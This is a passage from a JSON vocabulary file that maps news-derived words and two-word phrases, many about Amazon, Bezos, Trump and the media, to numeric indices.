\"ike\": 92692,\n  \"6400\": 92693,\n  \"michael jackson\": 92694,\n  \"busiest\": 92695,\n  \"multiple offers\": 92696,\n  \"sees high\": 92697,\n  \"slap tariffs\": 92698,\n  \"damn train\": 92699,\n  \"collecting sales\": 92700,\n  \"daily variety\": 92701,\n  \"new rivals\": 92702,\n  \"purposefully depriving\": 92703,\n  \"sec parsec\": 92704,\n  \"moving patients\": 92705,\n  \"right yes\": 92706,\n  \"debt restructuring\": 92707,\n  \"brazil environmental\": 92708,\n  \"eyed\": 92709,\n  \"antitrust activities\": 92710,\n  \"hurting\": 92711,\n  \"stopped pursuing\": 92712,\n  \"minnesota vikings\": 92713,\n  \"untouchable ivory\": 92714,\n  \"steve bannon\": 92715,\n  \"103 bought\": 92716,\n  \"lighthizer\": 92717,\n  \"referred\": 92718,\n  \"ateurobiz atsopro\": 92719,\n  \"vignette\": 92720,\n  \"delivery technology\": 92721,\n  \"aig aig\": 92722,\n  \"president began\": 92723,\n  \"fiat chrysler\": 92724,\n  \"personality samin\": 92725,\n  \"just acquired\": 92726,\n  \"immigration law\": 92727,\n  \"ricky gervais\": 92728,\n  \"introducing legislation\": 92729,\n  \"mail volume\": 92730,\n  \"pitney\": 92731,\n  \"stalemate trump\": 92732,\n  \"bad taste\": 92733,\n  \"token mode\": 92734,\n  \"joins justice\": 92735,\n  \"dyer\": 92736,\n  \"fed stress\": 92737,\n  \"sexxages including\": 92738,\n  \"j8i j8\": 92739,\n  \"areas repeatedly\": 92740,\n  \"grocer\": 92741,\n  \"ordeal\": 92742,\n  \"basic rights\": 92743,\n  \"change think\": 92744,\n  \"pritchard\": 92745,\n  \"comedian steve\": 92746,\n  \"sly elegance\": 92747,\n  \"standard nomenclature\": 92748,\n  \"l2\": 92749,\n  \"experimenting reportedly\": 92750,\n  \"dual entities\": 92751,\n  \"phones lasers\": 92752,\n  \"2018 spokesperson\": 92753,\n  \"tabloid newspaper\": 92754,\n  \"hall\": 92755,\n  \"thug\": 92756,\n  \"catastrophic cambridge\": 92757,\n  \"judith mcgrath\": 92758,\n  \"piper\": 92759,\n  \"photo staff\": 92760,\n  \"following weeks\": 92761,\n  \"wealth management\": 92762,\n  \"behalf wrote\": 92763,\n  \"denied making\": 92764,\n  \"trump corrupt\": 92765,\n  \"low consumer\": 92766,\n  \"statewide\": 92767,\n  \"hamilton arkells\": 92768,\n  \"internet based\": 92769,\n  \"tv pets\": 92770,\n  \"empowering ice\": 92771,\n  \"commission fec\": 92772,\n  \"company choice\": 92773,\n  \"market right\": 92774,\n  \"reignite trump\": 92775,\n  \"channel sinclair\": 92776,\n  \"believe governor\": 92777,\n  \"sibling fred\": 92778,\n  \"week joked\": 92779,\n  \"brantley jon\": 92780,\n  \"company set\": 92781,\n  \"situated\": 92782,\n  \"consistently rewarded\": 92783,\n  \"department indicted\": 92784,\n  \"pickle writes\": 92785,\n  \"debacle decade\": 92786,\n  \"markey edward\": 92787,\n  \"regarding radical\": 92788,\n  \"hovers\": 92789,\n  \"content embedded\": 92790,\n  \"litigation settlement\": 92791,\n  \"natural supplements\": 92792,\n  \"week saw\": 92793,\n  \"reinterpret legal\": 92794,\n  \"okeechobee\": 92795,\n  \"amazon gmg\": 92796,\n  \"way high\": 92797,\n  \"reader interactions\": 92798,\n  \"declaration 2019\": 92799,\n  \"eqis\": 92800,\n  \"korea economically\": 92801,\n  \"sold 600\": 92802,\n  \"post ironically\": 92803,\n  \"pregame interview\": 92804,\n  \"negotiations governor\": 92805,\n  \"simply suggested\": 92806,\n  \"upscale italian\": 92807,\n  \"perez sent\": 92808,\n  \"share yelp\": 92809,\n  \"industry leader\": 92810,\n  \"publish\": 92811,\n  \"observe\": 92812,\n  \"collusion dry\": 92813,\n  \"katz long\": 92814,\n  \"fractional\": 92815,\n  \"announcements\": 92816,\n  \"fits\": 92817,\n  \"having pretty\": 92818,\n  \"subsidiaries big\": 92819,\n  \"extremely valuable\": 92820,\n  \"2017 inside\": 92821,\n  \"hit nerve\": 92822,\n  \"president shirts\": 92823,\n  \"goodell\": 92824,\n  \"ojeda read\": 92825,\n  \"does burn\": 92826,\n  \"sense fall\": 92827,\n  \"formidable\": 92828,\n  \"girlfriend carrie\": 92829,\n  \"pharmacy startup\": 92830,\n  \"paradise yesterday\": 92831,\n  \"abducted girls\": 92832,\n  \"brutal housing\": 92833,\n  \"cortez ivanka\": 92834,\n  \"solicited ideas\": 92835,\n  \"amancio\": 92836,\n  \"swerve\": 92837,\n  \"commons\": 92838,\n  \"scariest dictators\": 92839,\n  \"dashboard\": 92840,\n  \"publication studies\": 92841,\n  \"journalist chris\": 92842,\n  \"goods driving\": 92843,\n  \"presence includes\": 92844,\n  \"saying wasn\": 92845,\n  \"nourishment\": 92846,\n  \"analysts await\": 92847,\n  \"refer\": 92848,\n  \"harris experienced\": 92849,\n  \"responds\": 92850,\n  \"pjmedia\": 92851,\n  \"snowing\": 92852,\n  \"certainly represents\": 92853,\n  \"edits\": 92854,\n  \"hierarchies connecting\": 92855,\n  \"live skit\": 92856,\n  \"self identified\": 92857,\n  \"guesswork\": 92858,\n  \"totally phony\": 92859,\n  \"air poses\": 92860,\n  \"son trump\": 92861,\n  \"showtime\": 92862,\n  \"q1 a4ee\": 92863,\n  \"encana shares\": 92864,\n  \"maximale hypotheek\": 92865,\n  \"playing bezos\": 92866,\n  \"smaller indian\": 92867,\n  \"index distance\": 92868,\n  \"1204et\": 92869,\n  \"hardly knows\": 92870,\n  \"bezos billion\": 92871,\n  \"additional amazon\": 92872,\n  \"shares vigilant\": 92873,\n  \"images jeff\": 92874,\n  \"vice media\": 92875,\n  \"durbin visited\": 92876,\n  \"bashing jeff\": 92877,\n  \"significant level\": 92878,\n  \"sales compared\": 92879,\n  \"senior executive\": 92880,\n  \"new commerce\": 92881,\n  \"dr evil\": 92882,\n  \"levitation\": 92883,\n  \"deserving government\": 92884,\n  \"nearly 300\": 92885,\n  \"seemingly taken\": 92886,\n  \"baird told\": 92887,\n  \"consumer pays\": 92888,\n  \"live wire\": 92889,\n  \"cass\": 92890,\n  \"uber sounds\": 92891,\n  \"magazine innovation\": 92892,\n  \"rekogntion software\": 92893,\n  \"_nkw\": 92894,\n  \"practices share\": 92895,\n  \"administration reddit\": 92896,\n  \"baptist health\": 92897,\n  \"committee meetings\": 92898,\n  \"marianne gambelli\": 92899,\n  \"problem involving\": 92900,\n  \"local bonds\": 92901,\n  \"john mancini\": 92902,\n  \"increasing revenue\": 92903,\n  \"favor detention\": 92904,\n  \"maker pleads\": 92905,\n  \"pound winning\": 92906,\n  \"government secrets\": 92907,\n  \"easily prompt\": 92908,\n  \"biden\": 92909,\n  \"report data\": 92910,\n  \"fair magazine\": 92911,\n  \"sit\": 92912,\n  \"google home\": 92913,\n  \"syria\": 92914,\n  \"people walking\": 92915,\n  \"melania dazzles\": 92916,\n  \"terminating deferred\": 92917,\n  \"cannes\": 92918,\n  \"politician entreaties\": 92919,\n  \"100 workers\": 92920,\n  \"took tumble\": 92921,\n  \"old speaker\": 92922,\n  \"labor market\": 92923,\n  \"problem solving\": 92924,\n  \"realities\": 92925,\n  \"legislation allocating\": 92926,\n  \"184\": 92927,\n  \"riffing\": 92928,\n  \"oddest\": 92929,\n  \"stronger ebitd\": 92930,\n  \"lucky despite\": 92931,\n  \"endemic\": 92932,\n  \"job seekers\": 92933,\n  \"cheap tickets\": 92934,\n  \"shares halbert\": 92935,\n  \"service distribution\": 92936,\n  \"unarmed young\": 92937,\n  \"trump 2016\": 92938,\n  \"organised crime\": 92939,\n  \"vulgar\": 92940,\n  \"unscripted space\": 92941,\n  \"trashy tabloids\": 92942,\n  \"counterattack\": 92943,\n  \"working vacation\": 92944,\n  \"called bezos\": 92945,\n  \"awscloud servers\": 92946,\n  \"television amc\": 92947,\n  \"blockbuster ambitions\": 92948,\n  \"need caption\": 92949,\n  \"corruption story\": 92950,\n  \"data sharing\": 92951,\n  \"deliver epi\": 92952,\n  \"progressives began\": 92953,\n  \"months plowing\": 92954,\n  \"pregnancy related\": 92955,\n  \"supermarket tabloid\": 92956,\n  \"correlation\": 92957,\n  \"hand claims\": 92958,\n  \"directly\": 92959,\n  \"old trade\": 92960,\n  \"vegas strip\": 92961,\n  \"tweet echoing\": 92962,\n  \"massive deforestation\": 92963,\n  \"extraction bureau\": 92964,\n  \"trump brown\": 92965,\n  \"positive tweets\": 92966,\n  \"semi automatic\": 92967,\n  \"watch buy\": 92968,\n  \"levels ahead\": 92969,\n  \"recode net\": 92970,\n  \"cuomosmta jeff\": 92971,\n  \"reliance ralph\": 92972,\n  \"free report\": 92973,\n  \"long snowy\": 92974,\n  \"leaders won\": 92975,\n  \"nj newark\": 92976,\n  \"battle suffolk\": 92977,\n  \"cash payments\": 92978,\n  \"insinuate\": 92979,\n  \"prove substantially\": 92980,\n  \"money overseen\": 92981,\n  \"people mindsets\": 92982,\n  \"cost production\": 92983,\n  \"unearned price\": 92984,\n  \"blocking friends\": 92985,\n  \"coin\": 92986,\n  \"help introduce\": 92987,\n  \"lehrer brian\": 92988,\n  \"issues regarding\": 92989,\n  \"picture amazon\": 92990,\n  \"concrete sending\": 92991,\n  \"russian hoax\": 92992,\n  \"investment spending\": 92993,\n  \"providing safe\": 92994,\n  \"used misleading\": 92995,\n  \"experienced gayle\": 92996,\n  \"passengers\": 92997,\n  \"commission filings\": 92998,\n  \"escape colbert\": 92999,\n  \"feels amazon\": 93000,\n  \"cult favourite\": 93001,\n  \"duboff\": 93002,\n  \"government operative\": 93003,\n  \"worst impulses\": 93004,\n  \"agency told\": 93005,\n  \"walmart spokeswoman\": 93006,\n  \"implicitly suggested\": 93007,\n  \"900 employees\": 93008,\n  \"make far\": 93009,\n  \"easier data\": 93010,\n  \"sears kmart\": 93011,\n  \"amazon results\": 93012,\n  \"decoratevideoapi function\": 93013,\n  \"friend caitlin\": 93014,\n  \"strangeness french\": 93015,\n  \"moffat played\": 93016,\n  \"cream suckers\": 93017,\n  \"allowing political\": 93018,\n  \"normal traffic\": 93019,\n  \"released sean\": 93020,\n  \"rates increased\": 93021,\n  \"voters need\": 93022,\n  \"172 ken\": 93023,\n  \"make ceo\": 93024,\n  \"paid tl\": 93025,\n  \"hasn faded\": 93026,\n  \"2018 variety\": 93027,\n  \"thy customer\": 93028,\n  \"power grab\": 93029,\n  \"sam zell\": 93030,\n  \"advocate working\": 93031,\n  \"companies joined\": 93032,\n  \"ch\\u00e1vez used\": 93033,\n  \"branded pills\": 93034,\n  \"report indicating\": 93035,\n  \"double shipping\": 93036,\n  \"just mile\": 93037,\n  \"surprise billy\": 93038,\n  \"illegally selling\": 93039,\n  \"pledge bezos\": 93040,\n  \"lionize blofeld\": 93041,\n  \"including witches\": 93042,\n  \"record sums\": 93043,\n  \"clearer path\": 93044,\n  \"home security\": 93045,\n  \"aubrey joseph\": 93046,\n  \"562\": 93047,\n  \"anticipated devitt\": 93048,\n  \"assaults\": 93049,\n  \"chuck\": 93050,\n  \"watch israel\": 93051,\n  \"mackenzie allegedly\": 93052,\n  \"lucrative cloud\": 93053,\n  \"job right\": 93054,\n  \"hospital colorado\": 93055,\n  \"pages imply\": 93056,\n  \"international politics\": 93057,\n  \"offer paid\": 93058,\n  \"blue water\": 93059,\n  \"emerging competition\": 93060,\n  \"report questioning\": 93061,\n  \"bitcoin 789\": 93062,\n  \"painfully ordinary\": 93063,\n  \"amazon huge\": 93064,\n  \"process dominated\": 93065,\n  \"card rates\": 93066,\n  \"companies panic\": 93067,\n  \"purchases amazon\": 93068,\n  \"murderess\": 93069,\n  \"bieber book\": 93070,\n  \"dip says\": 93071,\n  \"bezos office\": 93072,\n  \"late 1920s\": 93073,\n  \"itep noted\": 93074,\n  \"noble pirro\": 93075,\n  \"cards online\": 93076,\n  \"painful outcomes\": 93077,\n  \"jobs corporations\": 93078,\n  \"google market\": 93079,\n  \"grandparents\": 93080,\n  \"quarter sum\": 93081,\n  \"advertising revenue\": 93082,\n  \"redis database\": 93083,\n  \"initiative plans\": 93084,\n  \"wakefield dated\": 93085,\n  \"boring\": 93086,\n  \"directly cause\": 93087,\n  \"seasonal pain\": 93088,\n  \"scathing night\": 93089,\n  \"media instead\": 93090,\n  \"trump emphasis\": 93091,\n  \"media sanders\": 93092,\n  \"cell reception\": 93093,\n  \"referendum kosovo\": 93094,\n  \"atria books\": 93095,\n  \"purchasing graphic\": 93096,\n  \"vhi\": 93097,\n  \"facebook intel\": 93098,\n  \"pluggable\": 93099,\n  \"gilt postwar\": 93100,\n  \"ago introduced\": 93101,\n  \"operations manager\": 93102,\n  \"effective individuals\": 93103,\n  \"lodging complaint\": 93104,\n  \"small comb\": 93105,\n  \"mantel wolf\": 93106,\n  \"promising reimagining\": 93107,\n  \"putin julie\": 93108,\n  \"badcustomerexperience\": 93109,\n  \"bad idea\": 93110,\n  \"discounter reported\": 93111,\n  \"brenberg\": 93112,\n  \"distributed roberts\": 93113,\n  \"tech juggernauts\": 93114,\n  \"short netflix\": 93115,\n  \"shares slipping\": 93116,\n  \"secrecy requiring\": 93117,\n  \"mackenzie tuttle\": 93118,\n  \"morning email\": 93119,\n  \"kremlin linked\": 93120,\n  \"mere announcements\": 93121,\n  \"monopoly comcast\": 93122,\n  \"amendment defender\": 93123,\n  \"happy ex\": 93124,\n  \"shows ac\": 93125,\n  \"spreading lies\": 93126,\n  \"hartman speaks\": 93127,\n  \"nature sortorder\": 93128,\n  \"401 errors\": 93129,\n  \"troubled past\": 93130,\n  \"rejected previous\": 93131,\n  \"michael shannon\": 93132,\n  \"btenerellabr bloomberg\": 93133,\n  \"evidence trump\": 93134,\n  \"bezos package\": 93135,\n  \"ministry appointees\": 93136,\n  \"cia coup\": 93137,\n  \"scandal surrounding\": 93138,\n  \"staying\": 93139,\n  \"linear tv\": 93140,\n  \"program despite\": 93141,\n  \"average hourly\": 93142,\n  \"brashear imagealt\": 93143,\n  \"crime enforcement\": 93144,\n  \"french\": 93145,\n  \"98point6 unique\": 93146,\n  \"added turning\": 93147,\n  \"say makes\": 93148,\n  \"towns cities\": 93149,\n  \"integration\": 93150,\n  \"shares tiaa\": 93151,\n  \"revenue 36m\": 93152,\n  \"grabbers lay\": 93153,\n  \"baron took\": 93154,\n  \"trump approaching\": 93155,\n  \"award government\": 93156,\n  \"unit griffeth\": 93157,\n  \"payments business\": 93158,\n  \"authority effectively\": 93159,\n  \"cheeses\": 93160,\n  \"cheaper fares\": 93161,\n  \"tlx 3lift\": 93162,\n  \"main business\": 93163,\n  \"area spots\": 93164,\n  \"video stores\": 93165,\n  \"county jails\": 93166,\n  \"plateaued saying\": 93167,\n  \"difficult argument\": 93168,\n  \"boiling point\": 93169,\n  \"stealing packages\": 93170,\n  \"gop candidates\": 93171,\n  \"talent manager\": 93172,\n  \"tax officials\": 93173,\n  \"setting national\": 93174,\n  \"resnick\": 93175,\n  \"fbi lawyer\": 93176,\n  \"controversy california\": 93177,\n  \"told grist\": 93178,\n  \"pratchett\": 93179,\n  \"brewer amazon\": 93180,\n  \"growing neighborhood\": 93181,\n  \"real need\": 93182,\n  \"reports appear\": 93183,\n  \"designate\": 93184,\n  \"authorizes\": 93185,\n  \"penalties charlie\": 93186,\n  \"lawman trying\": 93187,\n  \"biofuels\": 93188,\n  \"abused wife\": 93189,\n  \"morris\": 93190,\n  \"effectively amazon\": 93191,\n  \"wealthy\": 93192,\n  \"substantial collaboration\": 93193,\n  \"independent film\": 93194,\n  \"home super\": 93195,\n  \"f4e\": 93196,\n  \"pose threat\": 93197,\n  \"beltway boy\": 93198,\n  \"post snippets\": 93199,\n  \"buffett look\": 93200,\n  \"corporation believe\": 93201,\n  \"chinese spy\": 93202,\n  \"mngmt group\": 93203,\n  \"losers best\": 93204,\n  \"news gives\": 93205,\n  \"graywolf\": 93206,\n  \"taken concrete\": 93207,\n  \"gain favor\": 93208,\n  \"later fell\": 93209,\n  \"comics reuters\": 93210,\n  \"won cause\": 93211,\n  \"data provider\": 93212,\n  \"near liverpool\": 93213,\n  \"artificially deflating\": 93214,\n  \"ongoing syrian\": 93215,\n  \"articles russia\": 93216,\n  \"man paying\": 93217,\n  \"people cumulatively\": 93218,\n  \"fiddle\": 93219,\n  \"cinema\": 93220,\n  \"previously missed\": 93221,\n  \"schumer replied\": 93222,\n  \"eye article37861750\": 93223,\n  \"us16 billion\": 93224,\n  \"kitschy favorite\": 93225,\n  \"domes\": 93226,\n  \"regulations china\": 93227,\n  \"felix ehrat\": 93228,\n  \"influencer\": 93229,\n  \"spreading misinformation\": 93230,\n  \"area campus\": 93231,\n  \"published viral\": 93232,\n  \"movimiento cosecha\": 93233,\n  \"todd talks\": 93234,\n  \"tickets cost\": 93235,\n  \"transmogrified\": 93236,\n  \"pre globalization\": 93237,\n  \"cancelling\": 93238,\n  \"seiu\": 93239,\n  \"hardship yi\": 93240,\n  \"vox matthew\": 93241,\n  \"rhimes\": 93242,\n  \"insulted trump\": 93243,\n  \"untouchable\": 93244,\n  \"school throwback\": 93245,\n  \"certain formal\": 93246,\n  \"difficulty\": 93247,\n  \"globe latest\": 93248,\n  \"states delaware\": 93249,\n  \"man greater\": 93250,\n  \"execs exhibit\": 93251,\n  \"dem rep\": 93252,\n  \"angelo gore\": 93253,\n  \"compensation expense\": 93254,\n  \"marketplaces single\": 93255,\n  \"stronger coordination\": 93256,\n  \"holding press\": 93257,\n  \"tynio\": 93258,\n  \"torel worst\": 93259,\n  \"kleponis\": 93260,\n  \"home network\": 93261,\n  \"parent company\": 93262,\n  \"115bn\": 93263,\n  \"believe attempted\": 93264,\n  \"shares panagora\": 93265,\n  \"producer heather\": 93266,\n  \"reserved copyright\": 93267,\n  \"tech behemoth\": 93268,\n  \"hidden delivery\": 93269,\n  \"photo olivier\": 93270,\n  \"watching peteralexander\": 93271,\n  \"defaulted\": 93272,\n  \"homes rose\": 93273,\n  \"obama tobosbunny\": 93274,\n  \"subsidiaries imdb\": 93275,\n  \"bembenek\": 93276,\n  \"mic headquarters\": 93277,\n  \"budescu managing\": 93278,\n  \"activists hung\": 93279,\n  \"warning potus\": 93280,\n  \"dues\": 93281,\n  \"swelled\": 93282,\n  \"recent history\": 93283,\n  \"helped prompt\": 93284,\n  \"terminal cancer\": 93285,\n  \"facebook trump\": 93286,\n  \"bois\": 93287,\n  \"reviewing existing\": 93288,\n  \"man currently\": 93289,\n  \"need cash\": 93290,\n  \"facing investigation\": 93291,\n  \"reform criminal\": 93292,\n  \"hour day\": 93293,\n  \"iain banks\": 93294,\n  \"650px 100vw\": 93295,\n  \"2019 adjusted\": 93296,\n  \"spent large\": 93297,\n  \"service hulu\": 93298,\n  \"trump target\": 93299,\n  \"trump proposing\": 93300,\n  \"day 2017\": 93301,\n  \"bag 115\": 93302,\n  \"kym\": 93303,\n  \"easily beating\": 93304,\n  \"reported having\": 93305,\n  \"issues larcker\": 93306,\n  \"reports cnn\": 93307,\n  \"justice mueller\": 93308,\n  \"enquirer dragged\": 93309,\n  \"visit innovation\": 93310,\n  \"prompted central\": 93311,\n  \"rise sharply\": 93312,\n  \"wildenstein\": 93313,\n  \"tax evader\": 93314,\n  \"children buddies\": 93315,\n  \"client data\": 93316,\n  \"podcast interview\": 93317,\n  \"heavy fall\": 93318,\n  \"jerome powell\": 93319,\n  \"collins charlie\": 93320,\n  \"deep divisions\": 93321,\n  \"including conservative\": 93322,\n  \"warm temperatures\": 93323,\n  \"treat click\": 93324,\n  \"ago\": 93325,\n  \"thompson tweeted\": 93326,\n  \"fed don\": 93327,\n  \"worse perceptions\": 93328,\n  \"president hawaii\": 93329,\n  \"cobra\": 93330,\n  \"died decades\": 93331,\n  \"broader record\": 93332,\n  \"political nostalgia\": 93333,\n  \"news heyes\": 93334,\n  \"partnership discussions\": 93335,\n  \"contact michelle\": 93336,\n  \"million donald\": 93337,\n  \"senado\": 93338,\n  \"assistants using\": 93339,\n  \"important second\": 93340,\n  \"far superior\": 93341,\n  \"highlighted roughly\": 93342,\n  \"scott foreman\": 93343,\n  \"world away\": 93344,\n  \"company uk\": 93345,\n  \"trillion apple\": 93346,\n  \"zana\": 93347,\n  \"school administrators\": 93348,\n  \"implement opportunities\": 93349,\n  \"million investor\": 93350,\n  \"m4 n2x\": 93351,\n  \"canaan mulls\": 93352,\n  \"powerball\": 93353,\n  \"garment industry\": 93354,\n  \"condition astonishingly\": 93355,\n  \"takingplace malinowski\": 93356,\n  \"fraction\": 93357,\n  \"old drone\": 93358,\n  \"valuable feedback\": 93359,\n  \"beijing ap\": 93360,\n  \"repeatedly denouncing\": 93361,\n  \"londonislovinit\": 93362,\n  \"half century\": 93363,\n  \"green card\": 93364,\n  \"cnn chris\": 93365,\n  \"start training\": 93366,\n  \"prank gregobagel\": 93367,\n  \"big presence\": 93368,\n  \"assertion\": 93369,\n  \"amzn national\": 93370,\n  \"season resulted\": 93371,\n  \"media makes\": 93372,\n  \"conditions remain\": 93373,\n  \"office utilizes\": 93374,\n  \"team peter\": 93375,\n  \"vulnerable populations\": 93376,\n  \"quick perusal\": 93377,\n  \"sellers facing\": 93378,\n  \"county republican\": 93379,\n  \"dangerous celebrity\": 93380,\n  \"trade griffeth\": 93381,\n  \"delivery workers\": 93382,\n  \"argue dominant\": 93383,\n  \"delivery won\": 93384,\n  \"warehouse workers\": 93385,\n  \"longest win\": 93386,\n  \"benefactors\": 93387,\n  \"hinges\": 93388,\n  \"south bell\": 93389,\n  \"current climate\": 93390,\n  \"nasdaq aqms\": 93391,\n  \"conservative jurists\": 93392,\n  \"broader understanding\": 93393,\n  \"219\": 93394,\n  \"obvious reason\": 93395,\n  \"testing industry\": 93396,\n  \"isn sitting\": 93397,\n  \"puzder book\": 93398,\n  \"apple failed\": 93399,\n  \"hollywood talent\": 93400,\n  \"entirely new\": 93401,\n  \"centre medical\": 93402,\n  \"games\": 93403,\n  \"income sum\": 93404,\n  \"subsidize growth\": 93405,\n  \"shares engineers\": 93406,\n  \"140 transportation\": 93407,\n  \"sparking rumors\": 93408,\n  \"republican war\": 93409,\n  \"8687 ssg\": 93410,\n  \"dwe3mueavh ccoo\": 93411,\n  \"box\": 93412,\n  \"activists berated\": 93413,\n  \"servicesweb\": 93414,\n  \"20180808 html\": 93415,\n  \"scheduled visit\": 93416,\n  \"hypothetical\": 93417,\n  \"lenert\": 93418,\n  \"nogales arizona\": 93419,\n  \"currently structured\": 93420,\n  \"separated trump\": 93421,\n  \"relationship sanchez\": 93422,\n  \"steel coming\": 93423,\n  \"dc individual\": 93424,\n  \"companies accusing\": 93425,\n  \"anniversary decade\": 93426,\n  \"view uk\": 93427,\n  \"peoples indigenous\": 93428,\n  \"quick\": 93429,\n  \"great help\": 93430,\n  \"ear\": 93431,\n  \"compounding effect\": 93432,\n  \"endto\": 93433,\n  \"foreign mailers\": 93434,\n  \"tax strategy\": 93435,\n  \"181406661\": 93436,\n  \"customer identity\": 93437,\n  \"consumer financial\": 93438,\n  \"expands opioid\": 93439,\n  \"acostas press\": 93440,\n  \"presidents desk\": 93441,\n  \"pick merchandise\": 93442,\n  \"congress nancy\": 93443,\n  \"time travel\": 93444,\n  \"mark claim\": 93445,\n  \"losses meant\": 93446,\n  \"tsunami flotus\": 93447,\n  \"westervelt byline\": 93448,\n  \"market ge\": 93449,\n  \"relay\": 93450,\n  \"4000\": 93451,\n  \"indict trump\": 93452,\n  \"unreported\": 93453,\n  \"don effectively\": 93454,\n  \"usps biggest\": 93455,\n  \"lawyer florida\": 93456,\n  \"wasted\": 93457,\n  \"water fresh\": 93458,\n  \"people imaginations\": 93459,\n  \"american interests\": 93460,\n  \"american pain\": 93461,\n  \"target company\": 93462,\n  \"keaton\": 93463,\n  \"flogs\": 93464,\n  \"hope ium\": 93465,\n  \"ambulance\": 93466,\n  \"african\": 93467,\n  \"corp holds\": 93468,\n  \"divorce settlements\": 93469,\n  \"jurassic world\": 93470,\n  \"v9\": 93471,\n  \"siblings emerge\": 93472,\n  \"chinese leader\": 93473,\n  \"resistance\": 93474,\n  \"officials president\": 93475,\n  \"touted as\\u0430first\": 93476,\n  \"tommaso boddi\": 93477,\n  \"wearing white\": 93478,\n  \"story gold\": 93479,\n  \"glasses\": 93480,\n  \"alpine\": 93481,\n  \"easily wield\": 93482,\n  \"information based\": 93483,\n  \"human religious\": 93484,\n  \"example walmart\": 93485,\n  \"people view\": 93486,\n  \"deep seated\": 93487,\n  \"dangerous emissions\": 93488,\n  \"nerd glasses\": 93489,\n  \"buys remember\": 93490,\n  \"employee affinity\": 93491,\n  \"mortal peril\": 93492,\n  \"wide minimum\": 93493,\n  \"san jose\": 93494,\n  \"standardized tracking\": 93495,\n  \"factually incorrect\": 93496,\n  \"era according\": 93497,\n  \"constitutional national\": 93498,\n  \"draper\": 93499,\n  \"personally met\": 93500,\n  \"specifically oxycodone\": 93501,\n  \"horrific\": 93502,\n  \"estrada\": 93503,\n  \"suhasini\": 93504,\n  \"personal story\": 93505,\n  \"wore trump\": 93506,\n  \"include trump\": 93507,\n  \"companies avoided\": 93508,\n  \"false server719396\": 93509,\n  \"series titled\": 93510,\n  \"congress advances\": 93511,\n  \"stimulate\": 93512,\n  \"living alongside\": 93513,\n  \"nbc news\": 93514,\n  \"democrat beth\": 93515,\n  \"brazil bolsonaro\": 93516,\n  \"cortez reportedly\": 93517,\n  \"administrator\": 93518,\n  \"aid 600\": 93519,\n  \"announced strategic\": 93520,\n  \"plan shifted\": 93521,\n  \"sector sitting\": 93522,\n  \"infringers\": 93523,\n  \"govern life\": 93524,\n  \"polls released\": 93525,\n  \"document written\": 93526,\n  \"facing facts\": 93527,\n  \"times opinion\": 93528,\n  \"criticism threatened\": 93529,\n  \"a4ee e1\": 93530,\n  \"bar platforms\": 93531,\n  \"amazon cronyism\": 93532,\n  \"ma maval\": 93533,\n  \"trump advised\": 93534,\n  \"2018 cnbc\": 93535,\n  \"current distribution\": 93536,\n  \"paris president\": 93537,\n  \"nebraska\": 93538,\n  \"underpayment\": 93539,\n  \"documentary filmmaker\": 93540,\n  \"177\": 93541,\n  \"community alike\": 93542,\n  \"work jobs\": 93543,\n  \"orig vstop\": 93544,\n  \"prosecuted nearly\": 93545,\n  \"cleveland legislature\": 93546,\n  \"conduct thorough\": 93547,\n  \"conduct regarding\": 93548,\n  \"businesses billions\": 93549,\n  \"distribution warehouse\": 93550,\n  \"head offices\": 93551,\n  \"bedroom\": 93552,\n  \"coated\": 93553,\n  \"pads\": 93554,\n  \"gains tax\": 93555,\n  \"usa presidentdonald\": 93556,\n  \"markets group\": 93557,\n  \"influential readers\": 93558,\n  \"begun delivering\": 93559,\n  \"comment tech\": 93560,\n  \"propulsion laboratory\": 93561,\n  \"family sitcom\": 93562,\n  \"appeared sympathetic\": 93563,\n  \"used redistricting\": 93564,\n  \"true false\": 93565,\n  \"time tested\": 93566,\n  \"pruitt appointees\": 93567,\n  \"does notdeny\": 93568,\n  \"cbre group\": 93569,\n  \"walmart robertmuller\": 93570,\n  \"role player\": 93571,\n  \"ms rice\": 93572,\n  \"vaxxed ii\": 93573,\n  \"york ap\": 93574,\n  \"regional differences\": 93575,\n  \"insights saying\": 93576,\n  \"requires advice\": 93577,\n  \"fight youtube\": 93578,\n  \"public criticism\": 93579,\n  \"antoni porowski\": 93580,\n  \"government employment\": 93581,\n  \"gain greater\": 93582,\n  \"open george\": 93583,\n  \"wider investigation\": 93584,\n  \"p4yyvn54oi brian\": 93585,\n  \"messaging wise\": 93586,\n  \"opportunity speaking\": 93587,\n  \"creates chasm\": 93588,\n  \"_self r4ee\": 93589,\n  \"force blamed\": 93590,\n  \"mop\": 93591,\n  \"purchase fox\": 93592,\n  \"gain entree\": 93593,\n  \"maybe navarro\": 93594,\n  \"transplant ms\": 93595,\n  \"hour wage\": 93596,\n  \"times beginning\": 93597,\n  \"web tying\": 93598,\n  \"uniformly positive\": 93599,\n  \"fastest pace\": 93600,\n  \"new children\": 93601,\n  \"search queries\": 93602,\n  \"statement released\": 93603,\n  \"000 parents\": 93604,\n  \"vying\": 93605,\n  \"stamp news\": 93606,\n  \"product sold\": 93607,\n  \"matt rosendale\": 93608,\n  \"stacks\": 93609,\n  \"social policies\": 93610,\n  \"scrapped altogether\": 93611,\n  \"brownlee\": 93612,\n  \"lying headline\": 93613,\n  \"bezos holds\": 93614,\n  \"apple industry\": 93615,\n  \"washington convention\": 93616,\n  \"using biased\": 93617,\n  \"superpowers don\": 93618,\n  \"tabloid devoted\": 93619,\n  \"plodding pace\": 93620,\n  \"company fought\": 93621,\n  \"message leak\": 93622,\n  \"spracklen\": 93623,\n  \"government outsourcing\": 93624,\n  \"festering disease\": 93625,\n  \"358 shares\": 93626,\n  \"sack sack\": 93627,\n  \"sensitive pictures\": 93628,\n  \"firm shaw\": 93629,\n  \"baiting buffoon\": 93630,\n  \"involves seeding\": 93631,\n  \"swiftly changed\": 93632,\n  \"maker juul\": 93633,\n  \"hardened terrorists\": 93634,\n  \"impractical wall\": 93635,\n  \"counterfeiting packages\": 93636,\n  \"characters lives\": 93637,\n  \"liberation army\": 93638,\n  \"sanders video\": 93639,\n  \"public records\": 93640,\n  \"want signed\": 93641,\n  \"help old\": 93642,\n  \"acquisitions suggesting\": 93643,\n  \"dealmaking\": 93644,\n  \"tombstone\": 93645,\n  \"essay written\": 93646,\n  \"conviction read\": 93647,\n  \"led push\": 93648,\n  \"fubotv app\": 93649,\n  \"introductions\": 93650,\n  \"lira\": 93651,\n  \"risk congresswoman\": 93652,\n  \"insights head\": 93653,\n  \"reputation covering\": 93654,\n  \"immediately spoke\": 93655,\n  \"obstructing competition\": 93656,\n  \"giant frequently\": 93657,\n  \"office senorrinhatch\": 93658,\n  \"odds 1539102369\": 93659,\n  \"interview hosted\": 93660,\n  